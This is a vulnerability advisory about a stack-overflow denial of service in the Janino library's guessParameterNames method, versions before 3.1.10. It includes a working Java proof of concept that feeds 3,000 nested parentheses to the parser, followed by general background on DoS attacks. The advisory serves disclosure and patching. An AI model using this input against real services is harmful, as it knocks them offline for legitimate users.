Denial of Service (DoS) Affecting org.codehaus.janino:janino-parent package, versions [,3.1.10)

Affected versions of this package are vulnerable to Denial of Service (DoS) when using the expression evaluator.guess parameter name method. If the parser runs on user-supplied input, an attacker could supply content that causes the parser to crash due to a stack overflow.

import org.codehaus.commons.compiler.CompileException;
import org.codehaus.janino.ExpressionEvaluator;
import org.codehaus.janino.Scanner;

import java.io.IOException;
import java.io.StringReader;

public class PoC{
    public static void test(String data) {
        try{
            ExpressionEvaluator.guessParameterNames(new Scanner(null, new StringReader(data)));
        }
        catch(IOException | CompileException | AssertionError e){
        }

    }

    public static String _nestedDoc(int nesting, String open, String close, String content) {
        StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
        for (int i = 0; i < nesting; ++i) {
            sb.append(open);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        sb.append("\n").append(content).append("\n");
        for (int i = 0; i < nesting; ++i) {
            sb.append(close);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        return sb.toString();
    }

    public static void main(String[] args) {
        String TOO_DEEP_DOC = _nestedDoc(3000, "( ", ") ", "t");
//        String TOO_DEEP_JSON = NestUtil._nestedDoc(1000, "{ ", "} ", "t");
        test(TOO_DEEP_DOC);
    }
}

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

• GitHub Commit
• GitHub Issue